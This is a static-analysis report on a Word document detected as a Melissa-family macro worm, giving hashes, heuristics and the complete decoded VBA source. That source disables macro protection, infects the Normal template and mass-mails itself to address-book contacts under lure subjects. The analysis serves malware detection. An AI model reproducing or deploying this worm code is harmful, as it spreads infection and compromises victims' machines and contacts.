Win.Trojan.Psycho-3 — Office (OLE) malware analysis

Static analysis result for SHA-256 54194d757b444683…

MALICIOUS

Office (OLE)

37.5 KB Created: 2012-07-23 07:36:00 Authoring application: Microsoft Office Word First seen: 2015-09-26
MD5: 1dc4b8e061c708a88fd3dae9d5f82200 SHA-1: f0377a11f3d00517ea2c643058f881cef6eefdc1 SHA-256: 54194d757b4446839f4ffb9e7fb9bce56fec4aa9c145f4b670f3adfb53884f30
308 Risk Score

Malware Insights

Win.Trojan.Psycho-3 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros that exhibit self-replication behavior, including harvesting email recipients from the MAPI address book and sending itself as an attachment. This functionality is explicitly identified by the 'VBA email-worm self-replication (Outlook mass-mailer)' heuristic. The presence of the 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Melissa-12' ClamAV detections further supports its classification as a malicious email worm.

Heuristics 6

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
  • VBA email-worm self-replication (Outlook mass-mailer) critical OLE_VBA_EMAIL_WORM_SELF_REPLICATION
    VBA macro drives Outlook to mass-mail itself: it automates Outlook.Application, programmatically creates a mail item, and spreads by harvests recipients from the MAPI address book / inbox, attaches a file to the outgoing message, sends the message programmatically. Harvesting recipients from the address book / inbox and auto-attaching the carrier to outgoing messages is the defining behavior of the Melissa / LoveLetter / W97M mass-mailer worm lineage — there is no benign document use, independent of any AV signature.
    Matched line in script
            Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Set UngaDasOutlook = CreateObject("Outlook.Application")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
        toinfect.CodeModule.addfromstring ("Private Sub Document_Open()" & vbCrLf & ADI1.CodeModule.Lines(2, ADI1.CodeModule.countoflines))

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5701 bytes
SHA-256: 309892bd93513f38aff8bdba171a56c54a7279c9060ece963322dba0899d058e
Detection
ClamAV: Doc.Trojan.Melissa-12
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Empirical"
Attribute VB_Base = "1Normal.Empirical"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
  On Error Resume Next
  Call Empirical
End Sub
Private Sub Document_New()
  On Error Resume Next
  Call Empirical
End Sub
Private Sub AutoExec()
  On Error Resume Next
  Call Empirical
End Sub
Private Sub Empirical()
  'based on or guided by experience,
  'experiment or observation,
  'as distinct from theory.
  On Error Resume Next
  If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
  Else
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
  End If
  CommandBars("Visual Basic").Enabled = False

  Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
  Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
  NTCL = NTI1.CodeModule.countoflines
  ADCL = ADI1.CodeModule.countoflines
  BGN = 2

  If ADI1.Name <> "Empirical" Or ADCL < 20 Then
    If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
    Set toinfect = ADI1
    ADI1.Name = "Empirical"
    DoAD = True
  End If

  If NTI1.Name <> "Empirical" Or NTCL < 20 Then
    If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
    Set toinfect = NTI1
    NTI1.Name = "Empirical"
    DoNT = True
  End If

  If DoNT <> True And DoAD <> True Then GoTo BYE

  If DoNT = True Then
    toinfect.CodeModule.addfromstring ("Private Sub Document_Open()" & vbCrLf & ADI1.CodeModule.Lines(2, ADI1.CodeModule.countoflines))
  End If

  If DoAD = True Then
    toinfect.CodeModule.addfromstring ("Private Sub Document_Close()" & vbCrLf & NTI1.CodeModule.Lines(2, NTI1.CodeModule.countoflines))
  End If

BYE:
  Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
  Set UngaDasOutlook = CreateObject("Outlook.Application")
  Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
  If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Profiles") <> "Empirical" Then
    If UngaDasOutlook = "Outlook" Then
      DasMapiName.Logon "profile", "password"
      For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
          Peep = AddyBook.AddressEntries(x)
          BreakUmOffASlice.Recipients.Add Peep
          x = x + 1
          If x > 50 Then oo = AddyBook.AddressEntries.Count
        Next oo
        s = Int(Rnd * 7)
        Select Case s
          Case 0
            BreakUmOffASlice.Subject = "Question for you..."
            BreakUmOffASlice.Body = "It's fairly complicated so I've attached it."
          Case 1
            BreakUmOffASlice.Subject = "Check this!!"
            BreakUmOffASlice.Body = "This is some wicked stuff!"
          Case 2
            BreakUmOffASlice.Subject = "Cool Web Sites"
            BreakUmOffASlice.Body = "Check out the Attached Document for a list of some of the best Sites on the Web"
          Case 3
            BreakUmOffASlice.Subject = "80mb Free Web Space!"
            BreakUmOffASlice.Body = "Check out the Attached Document for details on how to obtain the free space.  It's cool, I've now got heaps of room."
          Case 4
            BreakUmOffASlice.Subject = "Cheap Software"
            BreakUmOffASlice.Body = "The attached document contains a list of web sites where you can obtain Cheap Software"
          Case 5
            BreakUmOffASlice.Subject = " Cheap Hardware"
            BreakUmOffASlice.Body = " I've attached a list of web sites where you can obtain Cheap Hardware"
          Case 6
            BreakUmOffASlice.Subject = "Free Music"
            BreakUmOffASlice.Body = " Here is a list of places where you can obtain Free Music."
          Case 7
            s1 = Int(Rnd * 126) + 32
            BreakUmOffASlice.Subject = Chr$(s1) & " Free Downloads"
            BreakUmOffASlice.Body = " Here is a list of sites where you can obtain Free Downloads."
        End Select
        BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
        BreakUmOffASlice.send
        Peep = ""
      Next y
    DasMapiName.Logoff
    End If
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Profiles") = "Empirical"
  End If
  
  If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
  ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
    ActiveDocument.Saved = True
  End If
  If Minute(Now) = Hour(Now) Then Selection.TypeText " All empires fall, you just have to know where to push. ": ActiveDocument.SaveAs FileName:=ActiveDocument.FullName: ActiveDocument.Saved = True:  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Profiles") = ""
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.